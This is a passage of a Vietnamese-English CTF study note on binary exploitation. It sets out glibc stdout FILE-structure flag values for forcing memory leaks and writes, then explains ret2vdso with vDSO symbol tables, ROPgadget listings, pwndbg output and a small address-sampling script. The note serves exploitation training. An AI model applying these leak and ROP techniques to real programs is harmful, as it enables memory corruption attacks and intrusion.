0x0800, có nghĩa ``stdout->_flags & 0x0800`` cần = 1 - ``if (ch == EOF)`` cần return **True** - luôn thoã mãn vì **puts** luôn set **ch** thành **EOF** ![](https://hackmd.io/_uploads/BkxFekX-p.png) - đến hàm ``new_do_write``, ta cần skip điều kiện **if** thứ 2: - ``if (fp->_flags & _IO_IS_APPENDING)`` cần return **True** - ``_IO_IS_APPENDING`` là 0x1000, nên ``stdout->_flags & 0x1000`` cần = 1 ![](https://hackmd.io/_uploads/rJa7QJ7W6.png) ===> dựa trên các ràng buộc trên, value cần cho ``stdout->_flags`` là 0x1800 - target to bypass: ```c #define _IO_MAGIC 0xFBAD0000 #define _IO_CURRENTLY_PUTTING 0x0800 #define _IO_IS_APPENDING 0x1000 #define _IO_NO_WRITES 0x0008 _flags & _IO_NO_WRITES == 0 _flags & _IO_CURRENTLY_PUTTING == 1 _flags & _IO_IS_APPENDING == 1 ``` ## target to leak ``write(1, _IO_write_base, _IO_write_ptr - _IO_write_base)`` :::info 🎯 ow the ``stdout->_flags`` with 0x1800 >``stdout->_IO_MAGIC`` still 0xfbad (or not) 🎯 ow the last byte of ``stdout->_IO_write_ptr`` to be larger than ``stdout->_IO_write_base`` 🎯 specific leaking: 👉 ``_IO_write_base`` , ``_IO_read_end`` , ``_IO_read_base`` , ``_IO_read_ptr`` > is ptr have addr we want to leak 👉 ``_IO_write_ptr`` , ``_IO_write_end`` , ``_IO_buf_base`` , ``_IO_buf_end`` >is ptr + x (leak x bytes) 👉 ``_IO_fileno`` = ``0x1`` #stdout 🤌 ptr must be writeable addr ::: - examble: - [HTB Apocalypse 2023 Math Door](https://hackmd.io/@trhoanglan04/ryRRPyhxT#Math-Door) ## warning - kỹ thuật nãy có thể áp dụng lên nhiều phiên bản libc mới (tất nhiên cách áp dụng sẽ khó khăn hơn) - vì từ glibc 2.35, chuyển từ cấp phát **buffer** trên libc sang heap - ta vẫn có thể thay đổi điều đó bằng GOT, cũng như thay đổi cả ``f->_IO_write_ptr`` (vì nó tính size cho output) - ngoài **puts**, hàm nhận input như **gets** vẫn gọi đến ``_IO_OVERFLOW`` ---> still available to use this technique ## target to write ``` _IO_MAGIC(0xfbad0000) + _IO_IS_FILEBUF(0x2000) + _IO_TIED_PU_GET(0x400) + _IO_LINKED(0x80) + _IO_NO_WRITES(0x8) ``` ``read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);`` :::info 🎯 ow the ``stdout->_flags`` with 0x2488 >``stdout->_IO_MAGIC`` still 0xfbad (or not) 🎯 ow the last byte of ``stdout->_IO_buf_base`` to be larger than ``stdout->_IO_buf_end`` 🎯 specific write: 👉 ``_IO_buf_base`` > is ptr have addr we want to write 👉 ``_IO_buf_end`` >is ptr + x (read x bytes) 👉 ``_IO_fileno`` = ``0x0`` #stdin 🤌 ptr must be writeable addr ::: # RET2VDSO - ret2vdso thường xuất hiện nhiều ở 32-bit programs - là một kỹ thuật tấn công BOF (nhưng có liên quan đến kernel) ## Preliminary knowledge - [fap sư Trung Hoa](https://xz.aliyun.com/t/5236?time__1311=n4%2BxnD07itGQZ4QqD5DsA3xCqxrYDc0Oe8YD&alichlgref=https%3A%2F%2Fwww.google.com%2F) - [CTF-Wiki](https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2vdso/) - [lwn.net](https://lwn.net/Articles/18414/) - [ret2vdso using AUX Vectors](https://www.voidsecurity.in/2014/12/return-to-vdso-using-elf-auxiliary.html) ### vdso - **VDSO** (Virtual Dynamically-linked Shared Object) > chứa các hàm được cung cấp bởi kernel > có thể được gọi từ `user space` > [link](https://man7.org/linux/man-pages/man7/vdso.7.html) - ``int 0x80`` truyền thống được xem là chậm > cause a lot of overhead in switching between `user mode` and `kernel mode` - các processors khác nhau sẽ dùng fast system call instructions khác nhau - Intel triển khai `sysenter/sysexit` - AMD triển khai `syscall/sysret` - sử dụng chúng nhanh hơn nhưng cũng gây các vấn đề tương thích - nên Linux đã triển khai `vsyscall` > system call uniformly > specific choice is determined by the kernel ===> implement `vsyscall` is in vDSO - execute `ldd /bin/sh` in kernel 2.6 or upper, u wil find a dynamic file named **linux-vdso.so.1** > older version is **linux-gate.so.1** ```bash $ ldd /bin/sh linux-vdso.so.1 => (0x00007fff2f9ff000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f28d5b36000) /lib64/ld-linux-x86-64.so.2 (0x00007f28d5eca000) ``` - address của **linux-gate.so.1** là `0xffffe000`, nhưng với kernel đời mới hơn sẽ cung cấp chức năng đánh dấu random addressization ### vdso_x64 - take a look at built-in fucntions ```bash hlaan@ubuntu:~/test$ objdump -T vdso_x64.so vdso_x64.so: file format elf64-x86-64 DYNAMIC SYMBOL TABLE: 0000000000000a30 w DF .text 0000000000000305 LINUX_2.6 clock_gettime 0000000000000d40 g DF .text 00000000000001c1 LINUX_2.6 __vdso_gettimeofday 0000000000000d40 w DF .text 00000000000001c1 LINUX_2.6 gettimeofday 0000000000000f10 g DF .text 0000000000000015 LINUX_2.6 __vdso_time 0000000000000f10 w DF .text 0000000000000015 LINUX_2.6 time 0000000000000a30 g DF .text 0000000000000305 LINUX_2.6 __vdso_clock_gettime 0000000000000000 g DO *ABS* 0000000000000000 LINUX_2.6 LINUX_2.6 0000000000000f30 g DF .text 000000000000002a LINUX_2.6 __vdso_getcpu 0000000000000f30 w DF .text 000000000000002a LINUX_2.6 getcpu ``` - take a look at gadget ```bash hlaan@ubuntu:~/test$ ROPgadget --binary vdso_x64.so Gadgets information ============================================================ 0x00000000000008b8 : adc byte ptr [r11], r8b ; add dh, byte ptr [rsi + 0x58] ; add cl, byte ptr [rsi + 0xa] ; ret 0x00000000000008b9 : adc byte ptr [rbx], al ; add dh, byte ptr [rsi + 0x58] ; add cl, byte ptr [rsi + 0xa] ; ret 0x000000000000098b : add bl, byte ptr [rbp - 0x3d] ; mov rax, rdx ; pop rbp ; ret 0x0000000000000a23 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret 0x0000000000000a25 : add byte ptr [rax], al ; pop rbp ; ret 0x00000000000008be : add cl, byte ptr [rsi + 0xa] ; ret 0x00000000000008bb : add dh, byte ptr [rsi + 0x58] ; add cl, byte ptr [rsi + 0xa] ; ret 0x0000000000000a18 : add eax, 0xffffc66b ; pop rbp ; ret 0x00000000000008ba : add eax, dword ptr [rdx] ; jbe 0x91d ; add cl, byte ptr [rsi + 0xa] ; ret 0x0000000000000c23 : add edx, eax ; jmp 0xbb4 0x0000000000000c22 : add r10, rax ; jmp 0xbb5 0x0000000000000d78 : and al, 0xf6 ; ret 0x0000000000000f52 : call 0x3106986a 0x0000000000000b26 : call 0xffffffffc9ff487c 0x0000000000000aab : clc ; ret 0x0000000000000d84 : cld ; ret 0xffff 0x0000000000000a16 : cmovae eax, dword ptr [rip - 0x3995] ; pop rbp ; ret 0x0000000000000a15 : cmovae rax, qword ptr [rip - 0x3995] ; pop rbp ; ret 0x0000000000000988 : cmp edx, eax ; ja 0x993 ; pop rbp ; ret 0x0000000000000987 : cmp rdx, rax ; ja 0x994 ; pop rbp ; ret 0x0000000000000986 : dec dword ptr [rax + 0x39] ; ret 0x277 0x0000000000000c1d : dec dword ptr [rax + 0xf] ; scasd eax, dword ptr [rdi] ; ret 0x149 0x0000000000000ec5 : dec dword ptr [rcx + 0x16158b16] ; ret 0xffff 0x0000000000000c1f : imul eax, edx ; add r10, rax ; jmp 0xbb8 0x0000000000000c1e : imul rax, rdx ; add r10, rax ; jmp 0xbb9 0x000000000000098a : ja 0x991 ; pop rbp ; ret 0x00000000000008bc : jbe 0x91b ; add cl, byte ptr [rsi + 0xa] ; ret 0x0000000000000f1e : je 0xf29 ; mov qword ptr [rdi], rax ; pop rbp ; ret 0x0000000000000fdf : jmp qword ptr [rdi] 0x0000000000000aa9 : lea esp, dword ptr [rdx - 8] ; ret 0x0000000000000aa8 : lea rsp, qword ptr [r10 - 8] ; ret 0x0000000000000a21 : mov dword ptr [rdi], 0 ; pop rbp ; ret 0x0000000000000f21 : mov dword ptr [rdi], eax ; pop rbp ; ret 0x0000000000000f54 : mov dword ptr [rsi], eax ; xor eax, eax ; pop rbp ; ret 0x000000000000098f : mov eax, edx ; pop rbp ; ret 0x0000000000000f1c : mov ebp, esp ; je 0xf2b ; mov qword ptr [rdi], rax ; pop rbp ; ret 0x0000000000000f20 : mov qword ptr [rdi], rax ; pop rbp ; ret 0x000000000000098e : mov rax, rdx ; pop rbp ; ret 0x0000000000000f1b : mov rbp, rsp ; je 0xf2c ; mov qword ptr [rdi], rax ; pop rbp ; ret 0x0000000000000aa3 : pop r13 ; pop r14 ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret 0x0000000000000aa5 : pop r14 ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret 0x00000000000008bd : pop rax ; add cl, byte ptr [rsi + 0xa] ; ret 0x0000000000000aa7 : pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret 0x0000000000000aa4 : pop rbp ; pop r14 ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret 0x000000000000098c : pop rbp ; ret 0x0000000000000aa6 : pop rsi ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret 0x0000000000000f3f : push qword ptr [rdx + rcx - 0x77] ; ret 0xe281 0x00000000000008c1 : ret 0x0000000000000c21 : ret 0x149 0x0000000000000989 : ret 0x277 0x0000000000000b3c : ret 0x4801 0x0000000000000e64 : ret 0x53e9 0x0000000000000c24 : ret 0x8ceb 0x0000000000000c4e : ret 0xc2e9 0x0000000000000f43 : ret 0xe281 0x0000000000000d85 : ret 0xffff 0x0000000000000a20 : rol bh, 7 ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret 0x000000000000090f : ror dword ptr [rdx], 1 ; ret 0x0000000000000c20 : scasd eax, dword ptr [rdi] ; ret 0x149 0x0000000000000f51 : shr eax, 0xc ; mov dword ptr [rsi], eax ; xor eax, eax ; pop rbp ; ret 0x0000000000000a1f : xor eax, eax ; mov dword ptr [rdi], 0 ; pop rbp ; ret 0x0000000000000f56 : xor eax, eax ; pop rbp ; ret Unique gadgets found: 62 ``` - 62 gadget tổng cộng, nhưng chả có cái nào hữu ích ### vdso_x86 - nhưng với 32bit nó hoàn toàn khác ```bash hlaan@ubuntu:~/test$ objdump -T vdso_x86.so vdso_x86.so: file format elf32-i386 DYNAMIC SYMBOL TABLE: 00001050 g DF .text 0000000d LINUX_2.5 __kernel_vsyscall 00000d50 g DF .text 000002b2 LINUX_2.6 __vdso_gettimeofday 00001070 g DF .text 00000009 LINUX_2.5 __kernel_sigreturn 00001010 g DF .text 00000028 LINUX_2.6 __vdso_time 00000000 g DO *ABS* 00000000 LINUX_2.5 LINUX_2.5 00001080 g DF .text 00000008 LINUX_2.5 __kernel_rt_sigreturn 00000820 g DF .text 0000052f LINUX_2.6 __vdso_clock_gettime 00000000 g DO *ABS* 00000000 LINUX_2.6 LINUX_2.6 ``` - thấy rằng có `__kernel_rt_sigreturncalls` nghĩa là có thể dùng [SROP](https://hackmd.io/@trhoanglan04/stack_pivot#SROP) - take a look at gadget ```bash hlaan@ubuntu:~/test$ ROPgadget --binary vdso_x86.so Gadgets information ============================================================ 0x00000817 : adc al, 0x31 ; rcr byte ptr [ebx + 0x5e], 0x5f ; pop ebp ; ret 0x000007e4 : adc al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret 0x00000619 : adc byte ptr [ebp + 0xec54704], al ; or al, 0x41 ; ret 0x80e 0x00001039 : add al, 0x24 ; ret 0x0000061b : add al, 0x47 ; lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e 0x0000107f : add byte ptr [eax + 0xad], bh ; int 0x80 0x0000107d : add byte ptr [eax], al ; add byte ptr [eax + 0xad], bh ; int 0x80 0x0000107c : add byte ptr [eax], al ; add byte ptr [eax], al ; mov eax, 0xad ; int 0x80 0x00000e3f : add byte ptr [eax], al ; add esp, 0x5c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x00001074 : add byte ptr [eax], al ; int 0x80 0x0000107e : add byte ptr [eax], al ; mov eax, 0xad ; int 0x80 0x00000e40 : add byte ptr [ebx + 0x5e5b5cc4], al ; pop edi ; pop ebp ; ret 0x000010ab : add byte ptr [ebx], al ; add eax, dword ptr [ebx] ; ret 0x00001032 : add cl, byte ptr [ecx - 0x3ca2a4f6] ; mov eax, dword ptr [esp] ; ret 0x000010ad : add eax, dword ptr [ebx] ; ret 0x000007e2 : add esp, 0x14 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x00000815 : add esp, 0x14 ; xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x00000e41 : add esp, 0x5c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x00000967 : add esp, 0x6c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0000087c : add esp, 0x6c ; xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0000103e : and al, 0xc3 ; mov ebx, dword ptr [esp] ; ret 0x0000103a : and al, 0xc3 ; mov ecx, dword ptr [esp] ; ret 0x00001042 : and al, 0xc3 ; mov edi, dword ptr [esp] ; ret 0x00000801 : and byte ptr [edi], cl ; inc ebp ; ret 0x450f 0x0000073c : call 0x1046 0x00001141 : call 0x340ff6d2 0x000007d5 : call dword ptr [ecx] 0x000007f0 : cli ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x00001045 : cmp al, 0x24 ; ret 0x0000071f : cmp esi, eax ; ja 0x71e ; pop esi ; pop edi ; pop ebp ; ret 0x000007cf : dec dword ptr [ebx - 0x32c37d] ; call dword ptr [ecx] 0x00001030 : enter 0x274, -0x77 ; or bl, byte ptr [ebx + 0x5d] ; ret 0x00000974 : fmul qword ptr [ebx - 0x32cb61] ; push esi ; ret 0x00000722 : hlt ; pop esi ; pop edi ; pop ebp ; ret 0x00001143 : in eax, 0xf ; xor al, 0x89 ; int 0xf 0x00001054 : in eax, 0xf ; xor al, 0xcd ; sbb byte ptr [ebp + 0x5a], 0x59 ; ret 0x00000973 : inc ebp ; fmul qword ptr [ebx - 0x32cb61] ; push esi ; ret 0x00000803 : inc ebp ; ret 0x450f 0x00000620 : inc ecx ; ret 0x80e 0x0000061c : inc edi ; lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e 0x00000969 : insb byte ptr es:[edi], dx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0000087e : insb byte ptr es:[edi], dx ; xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x00001057 : int 0x80 0x00001147 : int 0xf 0x00001072 : ja 0x1078 ; add byte ptr [eax], al ; int 0x80 0x00000721 : ja 0x71c ; pop esi ; pop edi ; pop ebp ; ret 0x000007e0 : jb 0x7f3 ; add esp, 0x14 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x00000715 : jbe 0x728 ; mov eax, esi ; mov edx, ecx ; pop esi ; pop edi ; pop ebp ; ret 0x00001031 : je 0x103b ; mov dword ptr [edx], ecx ; pop ebx ; pop ebp ; ret 0x0000061d : lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e 0x00000968 : les ebp, ptr [ebx + ebx*2 + 0x5e] ; pop edi ; pop ebp ; ret 0x0000087d : les ebp, ptr [ecx + esi - 0x40] ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x00000e42 : les ebx, ptr [ebx + ebx*2 + 0x5e] ; pop edi ; pop ebp ; ret 0x000007e3 : les edx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret 0x00000816 : les edx, ptr [ecx + esi] ; rcr byte ptr [ebx + 0x5e], 0x5f ; pop ebp ; ret 0x0000113f : lfence ; mov ebp, esp ; sysenter 0x0000113c : mfence ; lfence ; mov ebp, esp ; sysenter 0x00001033 : mov dword ptr [edx], ecx ; pop ebx ; pop ebp ; ret 0x00001071 : mov eax, 0x77 ; int 0x80 0x00001080 : mov eax, 0xad ; int 0x80 0x00001038 : mov eax, dword ptr [esp] ; ret 0x0000102f : mov eax, ecx ; je 0x103d ; mov dword ptr [edx], ecx ; pop ebx ; pop ebp ; ret 0x00000717 : mov eax, esi ; mov edx, ecx ; pop esi ; pop edi ; pop ebp ; ret 0x000007ed : mov eax, esi ; mov edx, edi ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x00001053 : mov ebp, esp ; sysenter 0x00001040 : mov ebx, dword ptr [esp] ; ret 0x00000965 : mov ebx, edx ; add esp, 0x6c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0000103c : mov ecx, dword ptr [esp] ; ret 0x00001044 : mov edi, dword ptr [esp] ; ret 0x00000719 : mov edx, ecx ; pop esi ; pop edi ; pop ebp ; ret 0x000007ef : mov edx, edi ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x00000792 : movsd dword ptr es:[edi], dword ptr [esi] ; ret 0xf631 0x0000104c : nop ; nop ; nop ; nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter 0x0000106d : nop ; nop ; nop ; pop eax ; mov eax, 0x77 ; int 0x80 0x0000104d : nop ; nop ; nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter 0x0000106e : nop ; nop ; pop eax ; mov eax, 0x77 ; int 0x80 0x0000104e : nop ; nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter 0x0000106f : nop ; pop eax ; mov eax, 0x77 ; int 0x80 0x0000104f : nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter 0x0000103d : or al, 0x24 ; ret 0x0000061f : or al, 0x41 ; ret 0x80e 0x00001034 : or bl, byte ptr [ebx + 0x5d] ; ret 0x000007e1 : or byte ptr [ebx + 0x5e5b14c4], al ; pop edi ; pop ebp ; ret 0x00000716 : or byte ptr [ecx + 0x5eca89f0], cl ; pop edi ; pop ebp ; ret 0x00001070 : pop eax ; mov eax, 0x77 ; int 0x80 0x00001059 : pop ebp ; pop edx ; pop ecx ; ret 0x0000071d : pop ebp ; ret 0x00001035 : pop ebx ; pop ebp ; ret 0x000007e5 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0000105b : pop ecx ; ret 0x0000071c : pop edi ; pop ebp ; ret 0x0000105a : pop edx ; pop ecx ; ret 0x0000071b : pop esi ; pop edi ; pop ebp ; ret 0x00000e43 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x00000618 : push cs ; adc byte ptr [ebp + 0xec54704], al ; or al, 0x41 ; ret 0x80e 0x0000061e : push cs ; or al, 0x41 ; ret 0x80e 0x00001052 : push ebp ; mov ebp, esp ; sysenter 0x0000073b : push ebx ; call 0x1047 0x00001050 : push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter 0x00000739 : push edi ; push esi ; push ebx ; call 0x1049 0x00001051 : push edx ; push ebp ; mov ebp, esp ; sysenter 0x0000073a : push esi ; push ebx ; call 0x1048 0x000008c2 : push esi ; ret 0x00000819 : rcr byte ptr [ebx + 0x5e], 0x5f ; pop ebp ; ret 0x0000071e : ret 0x00000804 : ret 0x450f 0x000007b4 : ret 0x458b 0x00000b77 : ret 0x5d8b 0x00000ecf : ret 0x7d8b 0x00000621 : ret 0x80e 0x00000793 : ret 0xf631 0x000008c8 : ret 2 0x00000966 : rol dword ptr [ebx + 0x5e5b6cc4], cl ; pop edi ; pop ebp ; ret 0x0000102e : ror byte ptr [ecx - 0x76fd8b38], cl ; or bl, byte ptr [ebx + 0x5d] ; ret 0x00001041 : sbb al, 0x24 ; ret 0x00001058 : sbb byte ptr [ebp + 0x5a], 0x59 ; ret 0x00001140 : scasb al, byte ptr es:[edi] ; call 0x340ff6d3 0x00000926 : shl dword ptr [eax], 0xf ; inc ebp ; ret 0x450f 0x00001055 : sysenter 0x0000061a : test dword ptr [edi + eax*2], eax ; lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e 0x00001145 : xor al, 0x89 ; int 0xf 0x00001056 : xor al, 0xcd ; sbb byte ptr [ebp + 0x5a], 0x59 ; ret 0x00000818 : xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret Unique gadgets found: 123 ``` - dõ dàng nhiều hơn 64bit > chú ý vdso sẽ khác nhau với kernel khác nhau ## Use ideas - vì kernel khác nhau nên vdso (random) sẽ khác nhau - nếu ta có thể read vdso ---> we can use it ### Randomization features of vdso - nếu mà so sánh với stack hay ASLR, thì vdso randomization rất yếu - file 32bit thì 1/256 trúng ```pwndbg pwndbg> stack 78:01e0│ 0xffffcf20 —▸ 0xf7fd5050 (__kernel_vsyscall) ◂— push ecx 79:01e4│ 0xffffcf24 ◂— 0x21 /* '!' */ 7a:01e8│ 0xffffcf28 —▸ 0xf7fd4000 ◂— jg 0xf7fd4047 7b:01ec│ 0xffffcf2c ◂— 0x10 7c:01f0│ 0xffffcf30 ◂— 0xbfebfbff 7d:01f4│ 0xffffcf34 ◂— 0x6 7e:01f8│ 0xffffcf38 ◂— 0x1000 7f:01fc│ 0xffffcf3c ◂— 0x11 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x56555000 0x56556000 r-xp 1000 0 /home/ex/test/vdso_addr 0x56556000 0x56557000 r--p 1000 0 /home/ex/test/vdso_addr 0x56557000 0x56558000 rw-p 1000 1000 /home/ex/test/vdso_addr 0xf7dd6000 0xf7fab000 r-xp 1d5000 0 /lib/i386-linux-gnu/libc-2.27.so 0xf7fab000 0xf7fac000 ---p 1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so 0xf7fac000 0xf7fae000 r--p 2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so 0xf7fae000 0xf7faf000 rw-p 1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so 0xf7faf000 0xf7fb2000 rw-p 3000 0 0xf7fcf000 0xf7fd1000 rw-p 2000 0 0xf7fd1000 0xf7fd4000 r--p 3000 0 [vvar] 0xf7fd4000 0xf7fd6000 r-xp 2000 0 [vdso] 0xf7fd6000 0xf7ffc000 r-xp 26000 0 /lib/i386-linux-gnu/ld-2.27.so 0xf7ffc000 0xf7ffd000 r--p 1000 25000 /lib/i386-linux-gnu/ld-2.27.so 0xf7ffd000 0xf7ffe000 rw-p 1000 26000 /lib/i386-linux-gnu/ld-2.27.so 0xfffdc000 0xffffe000 rw-p 22000 0 [stack] ``` >thấy rằng địa chỉ vdso_base nằm trên stack >nhưng cách $esp khá xa (tận 0x1e8) - ta có thể viết 1 program C basic in ra vdso_addr rồi loop bằng cách dùng script python ```c // compiled: gcc -g -m32 vdso_addr.c -o vdso_addr #include <stdio.h> #include <stdlib.h> #include <string.h> int main () { printf ( "vdso addr: %124$p \n " ); return 0 ; } ``` > chú ý, offset sẽ thay đổi - script ```py #!/usr/bin/python3 import os result = [] for i in range (100): result += [ os.popen('./vdso_addr').read()[:-1]] result = sorted(result) for v in result: print(v) ``` ## exploit ideas - leaked vdso - Using vdso for ROP ## writeup some ret2vdso - https://github.com/firmianay/CTF-All-In-One/blob/master/doc/4.15_vsyscall_vdso.md - [DEFCON_CTF_2015_fuckup](https://github.com/firmianay/CTF-All-In-One/blob/master/doc/6.1.6_pwn_defconctf2015_fuckup.md) - https://bbs.kanxue.com/thread-276433.htm - [CTFHUB](https://bbs.kanxue.com/thread-276433.htm)